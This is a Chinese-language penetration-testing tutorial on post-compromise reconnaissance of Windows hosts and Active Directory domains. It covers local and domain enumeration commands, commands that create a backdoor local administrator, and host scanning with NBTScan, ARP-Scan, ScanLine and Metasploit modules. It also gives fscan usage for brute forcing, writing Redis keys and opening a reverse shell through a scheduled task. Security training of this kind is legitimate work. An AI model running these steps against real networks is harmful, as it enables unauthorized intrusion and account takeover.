内网信息收集

一、内网信息收集

内网信息收集可以从本机信息收集、域内信息收集、内网资源探测等方面进行。通过内网信息收集，我们可以对当前主机的角色、当前主机所在内网的拓扑结构有整体的了解，从而选择更合适、更精准的渗透方案。

1.1 本机基础信息收集

1.1、查看网络配置信息

查看当前主机的网络配置情况，包括主机的 IP 地址、主机名、各网络适配器的信息等，可以从中判断出当前主机所处的内网网段。

```
ipconfig /all
```

1.2、查看操作系统信息

查看当前主机的操作系统信息，包括当前主机的主机名、操作系统版本、系统目录、所处的工作站（域或工作组）、安装的补丁信息等。

```
systeminfo

#英文系统查看操作系统及版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

#中文系统查看操作系统及版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
```

1.3、查看端口连接信息

查看当前主机的端口连接情况，包括当前主机的 TCP、UDP 等端口监听或开放情况，以及当前主机与网络中其他主机建立的连接情况。

```
netstat -aon
```

1.4、查看进程信息

我们可以根据得到的进程列表确定目标主机上本地程序的运行情况。

```
tasklist
```

查询主机进程信息，并过滤出进程的路径、名称和 PID。

```
wmic process get Name,ProcessId,ExecutablePath

# get：wmic的一个动词，用于从指定的WMI类中检索属性值。
# Name：表示进程的名称。
# ProcessId：表示进程的唯一标识符（PID）。
# ExecutablePath：表示进程的可执行文件的完整路径。
```

查看指定进程的路径信息

```
wmic process where Name="进程名称" get ExecutablePath
```

1.5、查看服务信息

查看当前所有服务的信息，并过滤出服务的名称、路径、启动权限、运行状态信息

```
wmic service get Caption,Name,PathName,StartName,State

# get：wmic的一个动词，用于从指定的WMI类中检索属性值。
# Caption：服务的简短描述。
# Name：服务的名称。
# PathName：服务可执行文件的完整路径。
# StartName：服务以哪个用户的身份运行。
# State：服务的当前状态。
```

查看指定服务的信息，并过滤出服务名称、路径、和运行状态

```
wmic service where Name="服务名称" get Caption,Pathname,State
```

1.6、查看计划任务信息

查看当前主机所有计划任务

```
schtasks /query /v /fo list

# /query：查询系统上的计划任务信息。
# /v：显示任务的详细信息。
# /fo list：指定输出格式为列表形式，便于阅读。
```

1.7、查看自启程序信息

查看当前主机上所有的自启程序信息，并过滤出程序名称、所执行的命令、注册表的路径、所属用户

```
wmic startup get Caption, Command, Location, User

# startup：WMI中的一个类，代表系统启动时自动运行的项目，通常包括注册表中的启动项和特定的启动文件夹中的程序。
# get：wmic的一个动词，用于从指定的WMI类中检索属性值。
# Caption：启动项的简短描述或名称，通常用于标识启动项。
# Command：启动项要执行的命令或程序的路径，指示系统启动时应运行哪个程序或脚本。
# Location：启动项在注册表或文件系统中的位置，有助于用户或管理员找到并管理启动项。
# User：指定启动项以哪个用户的身份运行，这决定了程序运行时的权限和上下文。
```

1.8、查看系统补丁安装信息

查看当前主机安装的补丁列表，并过滤出补丁链接、名称、描述、补丁编号以及安装时间，我们可以根据目标主机的操作系统版本和缺少的补丁来辅助后面的提权操作。

```
wmic qfe get Caption, CSName, Description, HotFixID, Installedon

# qfe：WMI 中的一个类，代表系统上安装的补丁或更新。
# get：wmic 的一个动词，用于从指定的 WMI 类中检索属性值。
# Caption：补丁的简短描述或标题，通常用于标识特定的补丁。
# CSName：计算机系统的名称，指示补丁是安装在哪台计算机上的。
# Description：补丁的详细描述，提供了关于补丁内容、目的等信息。
# HotFixID：补丁的唯一标识符。
# InstalledOn：补丁的安装日期和时间。
```

1.9、查看应用安装信息

查看目标主机上安装的应用软件信息，并过滤出应用的名称和版本。

```
wmic product get Caption, Version

# product：WMI 中的一个类，它代表了系统上安装的软件产品。
# get：wmic 的一个动词，用于指定要从 WMI 类中检索哪些属性值。
# Caption：软件的名称或标题，通常用于在系统中唯一标识该软件。
# Version：软件的版本号，指示了软件的特定发行版。
```

1.10、查看本地用户/组信息

```
net user  #查看本地用户
net user <username> #查看指定用户详细信息
net localgroup administrators #查看本地管理员组
net user <username> <password> /add #创建本地用户
net localgroup administrators <username> /add #将用户加入本地管理员组
```

1.11、查看当前登录的用户

查看当前主机登录的用户，对于开启远程桌面服务的Windows主机，若多个用户登录该主机，会产生多个会话。

```
query user
```

1.12、查看当前网络共享信息

执行下列命令，查看当前主机开启的共享列表。

```
net share
```

1.13、查看已连接的网络共享

执行下列命令，查看当前主机与其他主机建立的网络共享连接

```
net use
```

二、域内基础信息收集

2.1、判断是否存在域环境

查看当前工作站的信息，包括当前计算机名、用户名、系统版本、工作站、登录的域等信息。

```
net config workstation
```

2.2、查看域用户信息

注意，只有域用户才有权限执行域内查询操作。而计算机本地用户除非提升为本地系统权限，否则只能查询本机信息，无法查询域内信息并提示“拒绝访问"。

```
net user /domain  #查看所有的域用户
net user <username> /domain #查看指定域用户的详细信息
wmic useraccount get Caption,SID,Domain,Description #获取所有用户的SID、所属域和用户描述信息
```

2.3、查看域用户组信息

```
net group /domain #列出域内所有的用户组
net group "Domain Admins" /domain #查看域管理员组，可以得到所有的域管理员用户
net group "Enterprise Admins" /domain #查看企业系统管理员组，在默认情况下 Domain Admin组和 Enterprise Admins 组中的用户对域内所有主机拥有完全控制权限
net group "Domain Computers" /domain  #查询域成员主机组，可以得到域内所有的客户端主机
```

域组名称	说明
Domain Admins	域管理员组，包括所有的域管理员用户
Domain Computers	域成员主机组，包括加入域的所有工作站和服务器
Domain Controllers	域控制器组，包括域中的所有域控制器
Domain Guests	域来宾组，包括域中的所有来宾用户
Domain Users	域用户组，包括所有域用户

2.4、查看域内密码策略

查询域内用户的密码策略，可以根据密码策略构造字典，进行爆破。

```
net accounts /domain
```

2.5、查看域控列表

查询域控制器组，可以得到所有域控制器的主机名。

```
net group "Domain Controllers" /domain
```

2.6、查看域控

在域环境中，域控制器会同时被用作时间服务器，使得域中所有计算机的时钟同步。可以通过查询时间服务器来找到主域控制器的名称。

```
net time /domain
```

2.7、定位域控

知道目标主机的主机名后，可以直接对主机名执行ping命令，根据执行返回的内容即可得知目标主机在内网中的IP地址。

```
ping DC.wasj.cn #DC为域控制器的主机名
```

除此之外，域控制器往往在域内同时会被用作 DNS 服务器，因此找到当前主机的 DNS 服务器地址就可以定位域控。

三、内网资源探测

在内网渗透中，我们往往需要通过各种内网扫描技术来探测内网资源的情况，为后续的横向渗透做准备，通常需要发现内网存活的主机，并探测主机的操作系统、开放了那些端口、端口上运行了哪些服务、服务的当前版本是否存在已知的漏洞等信息，这些信息可以帮助我们发现内网的薄弱点，确定后续的攻击方向。

3.1 基于ICMP发现存活主机

ICMP (Internet Control Message Protocol， 因特网控制消息协议)是TCP/IP协议簇的一个子协议，用于网络层的通信，即IP主机、路由器之间传递控制消息，提供可能发生在通信环境中的各种问题反馈。通过这些信息，管理员可以对发生的问题做出诊断，然后采取适当的措施解决。

在实际利用中，可以通过 ICMP 循环对整个网段中的每个 IP 地址执行 ping 命令,所有能够 ping 通的 IP 地址即为内网中存活的主机。

```
for /L %i in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%i | findstr "TTL="
```

3.2 基于NetBIOS (网络基本输入/输出系统)协议发现存活主机

NetBIOS提供 OSI/RM 的会话层(在TCP/IP模型中包含在应用层中)服务，让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说，NetBIOS 不是一种协议，而是一种应用程序接口(Application Program Interface, API)。 几乎所有局域网都是在 NetBIOS 协议的基础上工作的，操作系统可以利用WINS服务、广播、Lmhost 文件等模式将 NetBIOS 名解析为相应的 IP 地址。NetBIOS 的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows中，默认安装TCP/IP后会自动安装NetBIOS。在实际利用时，向局域网的每个IP地址发送 NetBIOS 状态查询，可以获得主机名、MAC地址等信息。

NBTScan 是一款用于扫描 Windows 网络上 NetBIOS 名称的程序，用于发现内网中存活的 Windows 主机。NBTScan 可以对给定 IP 范围内的每个 IP 地址发送 NetBIOS 状态查询，并且以易读的表格列出接收到的信息，对于每个响应的主机，会列出它的 IP 地址、NetBIOS 计算机名、登录用户名的 MAC 地址。项目下载地址：http://www.unixwiz.net/tools/nbtscan.html

将 NBTScan.exe 上传到目标主机，执行以命令：

```
1   NBTScan.exe 192.168.10.0/24
```

3.3 基于ARP发现存活主机

ARP (Address Resolution Protocol，地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议，用于网络层通信。主机发送信息时，将包含目标IP地址的ARP请求广播到局域网上的所有主机，并接收返回消息，以此确定目标的物理地址:收到返回消息后，将该IP地址和物理地址存入本机ARP缓存，并保留一定时间，下次请求时直接查询ARP缓存，以节约资源。

在实际利用中，可以向网络发送一个ARP请求，若目标主机处于活跃状态，则其一定会回应一个ARP响应，否则不会做出任何回应。

ARP-Scan 是一款快速、便携的内网扫描工具、利用 ARP 发现内网中存活的主机。将工具上传到目标主机，执行下列命令，即可扫描内网中存活的主机。下载地址：
https://pan.baidu.com/s/1dH7CbvY3Eyy5hJw_PEsGWg　提取码：z30b

```
1   arp-scan.exe -t 192.168.10.0/24
```

3.4 FSCAN 工具扫描

FSCAN介绍：一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
项目地址：https://github.com/shadow1ng/fscan

```
Fsan的用法非常多。
1. fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
2. fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
3. fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
4. fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
5. fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
6. fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
7. fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
8. fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
9. fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
10. fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
11. fscan.exe -hf ip.txt (以文件导入)
12. fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
13. fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
```

3.5 ScanLine端口扫描

ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快，不需要winPcap库支持，应用场合受限较少。下载地址：https://pan.baidu.com/s/13UJ5XcY7U9pC2GsCstgX6A 提取码：ht3e

```
scanline.exe -bhpt 21-23,25,80,110,135,139,143,443,445,1433,1521,3306 IP
scanline.exe -bhpt 80,443 1.1..1-254(IP)
scanline.exe -bhpt 139,445 IP
```

3.6利用MSF探测内网

模块类型	模块路径	说明
主机探测模块	auxiliary/scanner/netbios/nbname	基于NetBIOS探测存活主机
	auxiliary/scanner/discovery/udp_probe	基于UDP探测存活主机

	auxiliary/scanner/discovery/udp_sweep	基于UDP探测存活主机
	auxiliary/scanner/discovery/arp_sweep	基于ARP探测存活主机
	auxiliary/scanner/snmp/snmp_enum	基于SNMP探测存活主机
	auxiliary/scanner/smb/smb_version	基于SMB探测存活主机
内网端口扫描模块	auxiliary/scanner/portscan/ack	基于TCP ACK进行端口扫描
	auxiliary/scanner/portscan/tcp	基于TCP ACK进行端口扫描
	auxiliary/scanner/portscan/syn	基于SYN进行端口扫描
	auxiliary/scanner/portscan/xmas	基于TCP XMas进行端口扫描